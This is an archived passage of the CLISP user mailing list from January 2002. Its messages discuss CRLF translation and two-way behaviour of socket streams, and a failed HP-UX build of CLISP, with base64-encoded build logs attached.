dXBkYXRpbmcgY2FjaGUgLi4vY29uZmlnLmNhY2hlCmNyZWF0aW5nIC4vY29uZmlnLnN0YXR1cwpj cmVhdGluZyBNYWtlZmlsZQpzZWQ6IEZ1bmN0aW9uIHMlQGJ1aWxkX2FsaWFzQCUvdXNyL2Njcy9i aW4vbGQgLXYgLXQgL29wdC9sYW5ndG9vbHMvbGliL2NydDAubyAvdXNyL2xpYi91bml4OTUubyAt dSBtYWluIC16IGR1bW15LTM1MTUubyAtbyBkdW1teS0zNTE1IC1sYyAgY2Fubm90IGJlIHBhcnNl ZC4KY3JlYXRpbmcgbGliL01ha2VmaWxlCnNlZDogRnVuY3Rpb24gcyVAYnVpbGRfYWxpYXNAJS91 c3IvY2NzL2Jpbi9sZCAtdiAtdCAvb3B0L2xhbmd0b29scy9saWIvY3J0MC5vIC91c3IvbGliL3Vu aXg5NS5vIC11IG1haW4gLXogZHVtbXktMzUxNS5vIC1vIGR1bW15LTM1MTUgLWxjICBjYW5ub3Qg YmUgcGFyc2VkLgpjcmVhdGluZyBzcmMvTWFrZWZpbGUKc2VkOiBGdW5jdGlvbiBzJUBidWlsZF9h bGlhc0AlL3Vzci9jY3MvYmluL2xkIC12IC10IC9vcHQvbGFuZ3Rvb2xzL2xpYi9jcnQwLm8gL3Vz ci9saWIvdW5peDk1Lm8gLXUgbWFpbiAteiBkdW1teS0zNTE1Lm8gLW8gZHVtbXktMzUxNSAtbGMg IGNhbm5vdCBiZSBwYXJzZWQuCmNyZWF0aW5nIG1hbi9NYWtlZmlsZQpzZWQ6IEZ1bmN0aW9uIHMl QGJ1aWxkX2FsaWFzQCUvdXNyL2Njcy9iaW4vbGQgLXYgLXQgL29wdC9sYW5ndG9vbHMvbGliL2Ny dDAubyAvdXNyL2xpYi91bml4OTUubyAtdSBtYWluIC16IGR1bW15LTM1MTUubyAtbyBkdW1teS0z NTE1IC1sYyAgY2Fubm90IGJlIHBhcnNlZC4KY3JlYXRpbmcgdGVzdHMvTWFrZWZpbGUKc2VkOiBG dW5jdGlvbiBzJUBidWlsZF9hbGlhc0AlL3Vzci9jY3MvYmluL2xkIC12IC10IC9vcHQvbGFuZ3Rv b2xzL2xpYi9jcnQwLm8gL3Vzci9saWIvdW5peDk1Lm8gLXUgbWFpbiAteiBkdW1teS0zNTE1Lm8g LW8gZHVtbXktMzUxNSAtbGMgIGNhbm5vdCBiZSBwYXJzZWQuCmNyZWF0aW5nIGluY2x1ZGUvaWNv bnYuaApzZWQ6IEZ1bmN0aW9uIHMlQGJ1aWxkX2FsaWFzQCUvdXNyL2Njcy9iaW4vbGQgLXYgLXQg L29wdC9sYW5ndG9vbHMvbGliL2NydDAubyAvdXNyL2xpYi91bml4OTUubyAtdSBtYWluIC16IGR1 bW15LTM1MTUubyAtbyBkdW1teS0zNTE1IC1sYyAgY2Fubm90IGJlIHBhcnNlZC4KY3JlYXRpbmcg bGliL2NvbmZpZy5oCmNvbmZpZ3VyaW5nIGluIGxpYmNoYXJzZXQKcnVubmluZyAvYmluL3NoIC4u Ly4uLy4uL2xpYmljb252L2xpYmNoYXJzZXQvY29uZmlndXJlICAtLWVuYWJsZS1zdGF0aWMgLS1k aXNhYmxlLXNoYXJlZCAtLWNhY2hlLWZpbGU9Li4vLi4vY29uZmlnLmNhY2hlIC0tc3JjZGlyPS4u Ly4uLy4uL2xpYmljb252L2xpYmNoYXJzZXQKbG9hZGluZyBjYWNoZSAuLi8uLi9jb25maWcuY2Fj aGUKY2hlY2tpbmcgd2hldGhlciBtYWtlIHNldHMgJHtNQUtFfS4uLiAoY2FjaGVkKSB5ZXMKY2hl Y2tpbmcgZm9yIGdjYy4uLiAoY2FjaGVkKSBjYyAtQWUgLXogLURfSFBVWF9TT1VSQ0UKY2hlY2tp bmcgd2hldGhlciB0aGUgQyBjb21waWxlciAoY2MgLUFlIC16IC1EX0hQVVhfU09VUkNFICApIHdv cmtzLi4uIHllcwpjaGVja2luZyB3aGV0aGVyIHRoZSBDIGNvbXBpbGVyIChjYyAtQWUgLXogLURf SFBVWF9TT1VSQ0UgICkgaXMgYSBjcm9zcy1jb21waWxlci4uLiBubwpjaGVja2luZyB3aGV0aGVy IHdlIGFyZSB1c2luZyBHTlUgQy4uLiAoY2FjaGVkKSBubwpjaGVja2luZyB3aGV0aGVyIGNjIC1B ZSAteiAtRF9IUFVYX1NPVVJDRSBhY2NlcHRzIC1nLi4uIHllcwpjaGVja2luZyBob3cgdG8gcnVu IHRoZSBDIHByZXByb2Nlc3Nvci4uLiAoY2FjaGVkKSBjYyAtQWUgLXogLURfSFBVWF9TT1VSQ0Ug LUUKY2hlY2tpbmcgZm9yIGEgQlNEIGNvbXBhdGlibGUgaW5zdGFsbC4uLiAvb3B0L2ltYWtlL2Jp bi9pbnN0YWxsIC1jCmNoZWNraW5nIGhvc3Qgc3lzdGVtIHR5cGUuLi4gY29uZmlnLnN1YjogdG9v IG1hbnkgYXJndW1lbnRzClRyeSBgY29uZmlnLnN1YiAtLWhlbHAnIGZvciBtb3JlIGluZm9ybWF0 aW9uLgoKY2hlY2tpbmcgZm9yIEFJWC4uLiBubwpjaGVja2luZyBmb3IgbWluaXgvY29uZmlnLmgu Li4gKGNhY2hlZCkgbm8KY2hlY2tpbmcgZm9yIFBPU0lYaXplZCBJU0MuLi4gbm8KY2hlY2tpbmcg Zm9yIG9iamVjdCBzdWZmaXguLi4gKGNhY2hlZCkgbwpjaGVja2luZyBmb3IgQ3lnd2luIGVudmly b25tZW50Li4uIChjYWNoZWQpIG5vCmNoZWNraW5nIGZvciBtaW5ndzMyIGVudmlyb25tZW50Li4u IChjYWNoZWQpIG5vCmNoZWNraW5nIGZvciBleGVjdXRhYmxlIHN1ZmZpeC4uLiAoY2FjaGVkKSBu bwpjaGVja2luZyBidWlsZCBzeXN0ZW0gdHlwZS4uLiBjb25maWcuc3ViOiB0b28gbWFueSBhcmd1 bWVudHMKVHJ5IGBjb25maWcuc3ViIC0taGVscCcgZm9yIG1vcmUgaW5mb3JtYXRpb24uCgpjaGVj a2luZyBmb3Igbm9uLUdOVSBsZC4uLiAoY2FjaGVkKSAvdXNyL2Jpbi9sZApjaGVja2luZyBpZiB0 aGUgbGlua2VyICgvdXNyL2Jpbi9sZCkgaXMgR05VIGxkLi4uIChjYWNoZWQpIG5vCmNoZWNraW5n IGZvciAvdXNyL2Jpbi9sZCBvcHRpb24gdG8gcmVsb2FkIG9iamVjdCBmaWxlcy4uLiAoY2FjaGVk KSAtcgpjaGVja2luZyBmb3IgQlNELWNvbXBhdGlibGUgbm0uLi4gKGNhY2hlZCkgL3Vzci9iaW4v bm0gLXAKY2hlY2tpbmcgd2hldGhlciBsbiAtcyB3b3Jrcy4uLiB5ZXMKY2hlY2tpbmcgaG93IHRv IHJlY29nbmlzZSBkZXBlbmRhbnQgbGlicmFyaWVzLi4uIHVua25vd24KY2hlY2tpbmcgY29tbWFu ZCB0byBwYXJzZSAvdXNyL2Jpbi9ubSAtcCBvdXRwdXQuLi4gKGNhY2hlZCkgZmFpbGVkCmNoZWNr aW5nIGZvciBkbGZjbi5oLi4uIChjYWNoZWQpIG5vCmNoZWNraW5nIGZvciAvdXNyL2Njcy9iaW4v bGQuLi4gKGNhY2hlZCkgcmFubGliCmNoZWNraW5nIGZvciAvdXNyL2Njcy9iaW4vbGQuLi4gKGNh Y2hlZCkgc3RyaXAKY2hlY2tpbmcgZm9yIG9iamRpci4uLiAubGlicwpjaGVja2luZyBmb3IgY2Mg b3B0aW9uIHRvIHByb2R1Y2UgUElDLi4uIChjYWNoZWQpIG5vbmUKY2hlY2tpbmcgaWYgY2Mgc3Rh dGljIGZsYWcgIHdvcmtzLi4uIChjYWNoZWQpIHllcwpjaGVja2luZyBpZiBjYyBzdXBwb3J0cyAt YyAtbyBmaWxlLm8uLi4geWVzCmNoZWNraW5nIGlmIGNjIHN1cHBvcnRzIC1jIC1vIGZpbGUubG8u Li4gCmNoZWNraW5nIHdoZXRoZXIgdGhlIGxpbmtlciAoL3Vzci9iaW4vbGQpIHN1cHBvcnRzIHNo YXJlZCBsaWJyYXJpZXMuLi4gbm8KY2hlY2tpbmcgaG93IHRvIGhhcmRjb2RlIGxpYnJhcnkgcGF0 aHMgaW50byBwcm9ncmFtcy4uLiB1bnN1cHBvcnRlZApjaGVja2luZyB3aGV0aGVyIHN0cmlwcGlu ZyBsaWJyYXJpZXMgaXMgcG9zc2libGUuLi4gbm8KY2hlY2tpbmcgZHluYW1pYyBsaW5rZXIgY2hh cmFjdGVyaXN0aWNzLi4uIG5vCmNoZWNraW5nIGlmIGxpYnRvb2wgc3VwcG9ydHMgc2hhcmVkIGxp YnJhcmllcy4uLiBubwpjcmVhdGluZyBsaWJ0b29sCmNoZWNraW5nIGZvciBsYW5naW5mby5oLi4u IHllcwpjaGVja2luZyBmb3IgbmxfbGFuZ2luZm8uLi4geWVzCmNoZWNraW5nIGZvciBubF9sYW5n aW5mbyBhbmQgQ09ERVNFVC4uLiB5ZXMKY2hlY2tpbmcgd2hldGhlciB3ZSBhcmUgdXNpbmcgdGhl IEdOVSBDIExpYnJhcnkgMi4xIG9yIG5ld2VyLi4uIG5vCmNoZWNraW5nIGZvciBzdGRkZWYuaC4u LiB5ZXMKY2hlY2tpbmcgZm9yIHN0ZGxpYi5oLi4uIChjYWNoZWQpIHllcwpjaGVja2luZyBmb3Ig c3RyaW5nLmguLi4geWVzCmNoZWNraW5nIGZvciBzZXRsb2NhbGUuLi4gKGNhY2hlZCkgeWVzCnVw ZGF0aW5nIGNhY2hlIC4uLy4uL2NvbmZpZy5jYWNoZQpjcmVhdGluZyAuL2NvbmZpZy5zdGF0dXMK Y3JlYXRpbmcgTWFrZWZpbGUKc2VkOiBGdW5jdGlvbiAvdXNyL2xpYi9taWxsaS5hOiBjYW5ub3Qg YmUgcGFyc2VkLgpzZWQ6IEZ1bmN0aW9uIHMlQGhvc3RfYWxpYXNAJS91c3IvY2NzL2Jpbi9sZCAt diAtdCAvb3B0L2xhbmd0b29scy9saWIvY3J0MC5vIC91c3IvbGliL3VuaXg5NS5vIC11IG1haW4g LXogZHVtbXktNDE1OC5vIC1vIGR1bW15LTQxNTggLWxjICBjYW5ub3QgYmUgcGFyc2VkLgpjcmVh dGluZyBsaWIvTWFrZWZpbGUKc2VkOiBGdW5jdGlvbiAvdXNyL2xpYi9taWxsaS5hOiBjYW5ub3Qg YmUgcGFyc2VkLgpzZWQ6IEZ1bmN0aW9uIHMlQGhvc3RfYWxpYXNAJS91c3IvY2NzL2Jpbi9sZCAt diAtdCAvb3B0L2xhbmd0b29scy9saWIvY3J0MC5vIC91c3IvbGliL3VuaXg5NS5vIC11IG1haW4g LXogZHVtbXktNDE1OC5vIC1vIGR1bW15LTQxNTggLWxjICBjYW5ub3QgYmUgcGFyc2VkLgpjcmVh dGluZyBjb25maWcuaApNYWtlOiBObyBhcmd1bWVudHMgb3IgZGVzY3JpcHRpb24gZmlsZS4gIFN0 b3AuCg== --------------Boundary-00=_D98D1LT6R1AUVAASZYED-- From samuel.steingold@verizon.net Thu Jan 03 07:45:44 2002 Received: from [206.46.170.234] (helo=pop007pub.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16MA3s-0000Mf-00 for ; Thu, 03 Jan 2002 07:45:44 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by pop007pub.verizon.net with ESMTP ; id g03FjVdI025298 Thu, 3 Jan 2002 09:45:32 -0600 (CST) To: Todd Sabin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bugs in (setf (stream-element-type x) ...) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 103 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 3 07:46:08 2002 X-Original-Date: 03 Jan 2002 10:44:04 -0500 > * In message > * On the subject of "Re: [clisp-list] bugs in (setf (stream-element-type x) ...)" > * Sent on 02 Jan 2002 11:29:55 -0500 > * Honorable Todd Sabin writes: > > Sam Steingold writes: > > > > So, I tried: > > > > > > [1]> (setq *my-sock* (socket-connect 80 "jetcar.qnz.org" :buffered t)) > > > # > > > [2]> (format *my-sock* "GET /icons/apache_pb.gif HTTP/1.0 > > > > > > ") > > you mean (format *my-sock* "GET /icons/apache_pb.gif HTTP/1.0~2%") ? :-) > > No, there were CR returns in there, as well. I suppose I could have > done (format *my-sock* "GET /icons/apache_pb.gif HTTP/1.0^M~%^M~%"). if you do (socket-connect 80 "jetcar.qnz.org" :buffered t :external-format :dos) then TERPRI will send CRLF. > > > There seem to be a few ways around it, but I haven't attempted any of > > > them. > > > > > > o The flag could be done away with by reading the next char from > > > input, and discarding it if it's a LF, and unreading it if not. In > > > theory, this might cause an app to hang where it wouldn't have before, > > > but I think the risk of that is pretty low. > > > > using UnbufferedStreamLow_listen() should prevent hanging. > > > > if (ignore_next_LF) { > > if (UnbufferedStreamLow_listen()) { > > if (peak_char() == LF) > > read_char(); > > } > > } > > > > patch would be welcome. > > > > Will the low-level peek_char do roughly the same thing as the > lisp-level one? I.e., read-char, unread-char? no, they use non-blocking libc routines. > Also, this wouldn't handle the case where the next character will be a > LF, but it's not available, yet. This can happen in the buffered > case, as well, and it's not even necessary to use > (setf (stream-element-type ..)) to get incorrect results in that case. > It seems that the buffered case needs to pay attention to ignore_next_LF, > too. > > There seem to be other implications with the way things currently > stand, as well. Say I want to write an HTTP proxy. What I'd do is > listen for a connection on a socket. When I get one, do read-line > until I get an empty line, process the request, send the results to my > client and close the socket (stream). If I do that but don't use a > buffered stream, then I'll end up sending a TCP RST to my client > because the last LF of his request will remain unread. Ugh. yes, this is an issue. patch is welcome. > > > p.p.s. Is there any way not to do the CRLF translation? As it > > > stands, if I wanted to, e.g., write a network server that verified > > > strict compliance of its clients, i.e., make sure there are both a CR > > > and a LF at the end of lines, there's no way to do it with clisp, > > > unless I treat everything as bytes instead of chars, which makes lots > > > of other things unwieldy. > > > > This is true. > > This feature has been requested in the past and was turned down - it > > adds more complexity for a doubtful benefit. > > The real answer is: "if you want to distinguish between CR and CR/LF, > > you are doing something too low level" (or, maybe even "if you think you > > need to distinguish between CR and CR/LF, think again"). > > Well, if the feature has been requested before and is being requested > again, perhaps that means there is a benefit. I know why I'd want to > be able to distinguish CR and CRLF, and I even gave an example. > > > If you implement a clean interface (e.g., adding INPUT-LINE-TERMINATOR > > slot to ENCODING) and send us a patch, we will think about it. > > Well, I don't need it enough to implement it, presently. Especially > if I'm not sure the maintainers are receptive to the idea. Just > getting CRLF->LF translation right seems like enough of a challenge > for now. I may just workaround it with peek-char and/or buffering, > but it'd be nice to fix it right. we _are_ receptive to good patches, especially when people are prepared to stand by them and fix problems they might introduce. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Lisp: its not just for geniuses anymore. From samuel.steingold@verizon.net Thu Jan 03 07:54:23 2002 Received: from [206.46.170.238] (helo=pop011pub.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16MACF-0001yw-00 for ; Thu, 03 Jan 2002 07:54:23 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by pop011pub.verizon.net with ESMTP ; id g03FrvnA029223 Thu, 3 Jan 2002 09:53:58 -0600 (CST) To: Todd Sabin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 35 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 3 07:55:07 2002 X-Original-Date: 03 Jan 2002 10:52:48 -0500 > * In message > * On the subject of "[clisp-list] socket-streams vs. two-way streams" > * Sent on 02 Jan 2002 23:22:35 -0500 > * Honorable Todd Sabin writes: > > Is there a reason why socket-streams are not real two-way streams? I hope Bruno will answer this question. > The implementation notes refer to them as two-way streams as opposed > to just IO streams, but two-way-stream-input-stream, e.g. fails on > them. > > However, if I just do this: > > # check whether the stream S is a two-way-stream > #define stream_twoway_p(s) \ > - (builtin_stream_p(s) && (TheStream(s)->strmtype == strmtype_twoway)) > + (builtin_stream_p(s) && ((TheStream(s)->strmtype == strmtype_twoway) > + || (TheStream(s)->strmtype == strmtype_twoway_socket))) > this patch will crash TWO-WAY-STREAM-INPUT-STREAM. > Then buffered sockets, at least, work as you would expect. At least, > in my two minutes of testing :). With a little work, the unbuffered > case could be handled similarly. Would you accept a patch which did > this? why do you want this? -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! It's not just a language, it's an adventure. Common Lisp. From samuel.steingold@verizon.net Thu Jan 03 08:37:19 2002 Received: from smtp001pub.verizon.net ([206.46.170.180]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16MArm-0003kx-00 for ; Thu, 03 Jan 2002 08:37:18 -0800 Received: from xchange.com (pool-151-203-225-174.bos.east.verizon.net [151.203.225.174]) by smtp001pub.verizon.net with ESMTP ; id g03GbAQ07775 Thu, 3 Jan 2002 10:37:11 -0600 (CST) To: Richard Ray Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Help building clisp on HP/UX 10.20 References: <200201021441.g02EfBb07408@rray.mstc.state.ms.us> <200201031400.g03E0ob10597@rray.mstc.state.ms.us> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200201031400.g03E0ob10597@rray.mstc.state.ms.us> Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 3 08:38:07 2002 X-Original-Date: 03 Jan 2002 11:35:46 -0500 > * In message <200201031400.g03E0ob10597@rray.mstc.state.ms.us> > * On the subject of "Re: [clisp-list] Help building clisp on HP/UX 10.20" > * Sent on Thu, 3 Jan 2002 08:00:49 -0600 > * Honorable Richard Ray writes: > > > $ uname -a > > $ ./configure build > > Attached is the output of these commands > ... > checking host system type... config.sub: too many arguments > Try `config.sub --help' for more information. > ... I think the problem is with autoconf, not with CLISP. please see for information on how to report this bug. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Binaries die but source code lives forever. From tas@webspan.net Thu Jan 03 08:52:27 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16MB6Q-0007gL-00 for ; Thu, 03 Jan 2002 08:52:26 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id LAA32059; Thu, 3 Jan 2002 11:52:18 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: From: Todd Sabin In-Reply-To: (Sam Steingold's message of "03 Jan 2002 10:52:48 -0500") Message-ID: Lines: 43 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 3 08:53:04 2002 X-Original-Date: 03 Jan 2002 11:52:18 -0500 Sam Steingold writes: > > However, if I just do this: > > > > # check whether the stream S is a two-way-stream > > #define stream_twoway_p(s) \ > > - (builtin_stream_p(s) && (TheStream(s)->strmtype == strmtype_twoway)) > > + (builtin_stream_p(s) && ((TheStream(s)->strmtype == strmtype_twoway) > > + || (TheStream(s)->strmtype == strmtype_twoway_socket))) > > > this patch will crash TWO-WAY-STREAM-INPUT-STREAM. > No, it doesn't. Because there's already: # define strm_twoway_socket_input strm_twoway_input # input side, a socket stream #define strm_twoway_socket_output strm_twoway_output # output side, a socket stream Anyway, I wasn't suggesting that that patch would be sufficient, or the right way to do it, just that it doesn't seem like it'd be hard to do it completely. > > Then buffered sockets, at least, work as you would expect. At least, > > in my two minutes of testing :). With a little work, the unbuffered > > case could be handled similarly. Would you accept a patch which did > > this? > > why do you want this? > It would allow you to set different element-types and encodings on the input and output sides of the socket. It would provide a nice interface to shutdown(2) a socket. You could call (close (two-way-stream-output-stream *my-sock*)), and have it implemented with shutdown(2) in C, instead of close(2). It just seems right to me. Of course, there may be implications that I don't see. Turning the question around, why wouldn't you want this? Todd From rray1@netdoor.com Fri Jan 04 12:43:55 2002 Received: from net11h130.itsd.state.ms.us ([205.144.226.130] helo=rray.mstc.state.ms.us) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16MbBy-0006s1-00 for ; Fri, 04 Jan 2002 12:43:54 -0800 Received: from there (localhost.localdomain [127.0.0.1]) by rray.mstc.state.ms.us (8.11.6/8.8.7) with SMTP id g04KgXb16890 for ; Fri, 4 Jan 2002 14:42:33 -0600 Message-Id: <200201042042.g04KgXb16890@rray.mstc.state.ms.us> Content-Type: text/plain; charset="iso-8859-1" From: Richard Ray To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by rray.mstc.state.ms.us id g04KgXb16890 Subject: [clisp-list] Unsatisfied symbols: divu_6432_3232_ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 4 12:44:06 2002 X-Original-Date: Fri, 4 Jan 2002 14:42:32 -0600 While running make in src I get the following error. =A0 cc -Ae -Wp,-H1048576 -DUNICODE -DDYNAMIC_FFI =A0spvw.o =A0spvwtabf.o = =A0 spvwtabs.o =A0 spvwtabo.o =A0eval.o =A0control.o =A0encoding.o =A0pathname.o =A0stream.o= =A0socket.o =A0 io.o=20 =A0array.o =A0hashtabl.o =A0list.o =A0package.o =A0record.o =A0sequence.o= =A0charstrg.o =A0 debug .o =A0error.o =A0misc.o =A0time.o =A0predtype.o =A0symbol.o =A0lisparit.o= =A0foreign.o =A0 unixau x.o =A0arihppa.o =A0gmalloc.o modules.o libsigsegv.a libintl.a libiconv.a= =20 libreadlin e.a libavcall.a libcallback.a =A0-ltermcap =A0 -o lisp.run /usr/ccs/bin/ld: Unsatisfied symbols: =A0 =A0divu_6432_3232_ (code) Can someone tell from this what library I'm missing? Richard From kaz@footprints.net Fri Jan 04 13:06:35 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16MbXu-0002MK-00 for ; Fri, 04 Jan 2002 13:06:35 -0800 Received: from kaz (helo=localhost) by ashi.FootPrints.net with local-esmtp (Exim 3.16 #1) id 16MbXt-0001Im-00; Fri, 04 Jan 2002 13:06:33 -0800 From: Kaz Kylheku To: Richard Ray cc: Subject: Re: [clisp-list] Unsatisfied symbols: divu_6432_3232_ In-Reply-To: <200201042042.g04KgXb16890@rray.mstc.state.ms.us> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 4 13:07:07 2002 X-Original-Date: Fri, 4 Jan 2002 13:06:33 -0800 (PST) On Fri, 4 Jan 2002, Richard Ray wrote: > Date: Fri, 4 Jan 2002 14:42:32 -0600 > From: Richard Ray > To: clisp-list@lists.sourceforge.net > Subject: [clisp-list] Unsatisfied symbols: divu_6432_3232_ >=20 >=20 > While running make in src I get the following error. >=20 > =A0 cc -Ae -Wp,-H1048576 -DUNICODE -DDYNAMIC_FFI =A0spvw.o =A0spvwtabf.o = =A0 How convenient of you to mention that this is on HP-UX. Some of us remember the peculiar compiler options, though. :) > spvwtabs.o =A0 > spvwtabo.o =A0eval.o =A0control.o =A0encoding.o =A0pathname.o =A0stream.o= =A0socket.o =A0 > io.o=20 > =A0array.o =A0hashtabl.o =A0list.o =A0package.o =A0record.o =A0sequence.o= =A0charstrg.o =A0 > debug > .o =A0error.o =A0misc.o =A0time.o =A0predtype.o =A0symbol.o =A0lisparit.o= =A0foreign.o =A0 > unixau > x.o =A0arihppa.o =A0gmalloc.o modules.o libsigsegv.a libintl.a libiconv.a= =20 ^^^^ Another clue there. > libreadlin > e.a libavcall.a libcallback.a =A0-ltermcap =A0 -o lisp.run > /usr/ccs/bin/ld: Unsatisfied symbols: > =A0 =A0divu_6432_3232_ (code) >=20 > Can someone tell from this what library I'm missing? Guessing by its name, it divides a 64 bit dividend by a 32 bit divisor to make a 32 bit quotient and remainder. An assembly language function by that name appears in the source file arihppa.d which corresponds to the arihppa.o object file above. Note, however, that this function is removed with #if 0 with a German comment which says ``Das funktioniert noch nicht''. Looks like there is a little bit of work to do for the HP-UX/PA-RISC platform? From rray1@netdoor.com Fri Jan 04 11:20:46 2002 Received: from net11h130.itsd.state.ms.us ([205.144.226.130] helo=rray.mstc.state.ms.us) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16MZtU-0003hy-00 for ; Fri, 04 Jan 2002 11:20:44 -0800 Received: from there (localhost.localdomain [127.0.0.1]) by rray.mstc.state.ms.us (8.11.6/8.8.7) with SMTP id g04JJIb16133 for ; Fri, 4 Jan 2002 13:19:23 -0600 Message-Id: <200201041919.g04JJIb16133@rray.mstc.state.ms.us> From: Richard Ray To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_5OHF7GWVY28YN3R6LV3L" Subject: [clisp-list] Unsatisfied symbols: divu_6432_3232_ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 4 13:57:02 2002 X-Original-Date: Fri, 4 Jan 2002 13:19:17 -0600 --------------Boundary-00=_5OHF7GWVY28YN3R6LV3L Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit While running make in src I get the following error. cc -Ae -Wp,-H1048576 -DUNICODE -DDYNAMIC_FFI spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug .o error.o misc.o time.o predtype.o symbol.o lisparit.o foreign.o unixau x.o arihppa.o gmalloc.o modules.o libsigsegv.a libintl.a libiconv.a libreadlin e.a libavcall.a libcallback.a -ltermcap -o lisp.run /usr/ccs/bin/ld: Unsatisfied symbols: divu_6432_3232_ (code) Can someone tell from this what library I'm missing? The full make text is attached. --------------Boundary-00=_5OHF7GWVY28YN3R6LV3L Content-Type: text/plain; charset="iso-8859-1"; name="make.out" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="make.out" Tm8gc3VmZml4IGxpc3QuCgljYyAtQWUgLVdwLC1IMTA0ODU3NiAtRFVOSUNPREUgLUREWU5BTUlD X0ZGSSAgLi4vdXRpbHMvY29tbWVudDUuYyAtbyBjb21tZW50NQoJbG4gLXMgLi4vdXRpbHMvYW5z aWRlY2wuZCBhbnNpZGVjbC5kCgkuL2NvbW1lbnQ1IGFuc2lkZWNsLmQgYW5zaWRlY2wuYwoJcm0g LWYgYW5zaWRlY2wuZAoJY2MgLUFlIC1XcCwtSDEwNDg1NzYgLURVTklDT0RFIC1ERFlOQU1JQ19G 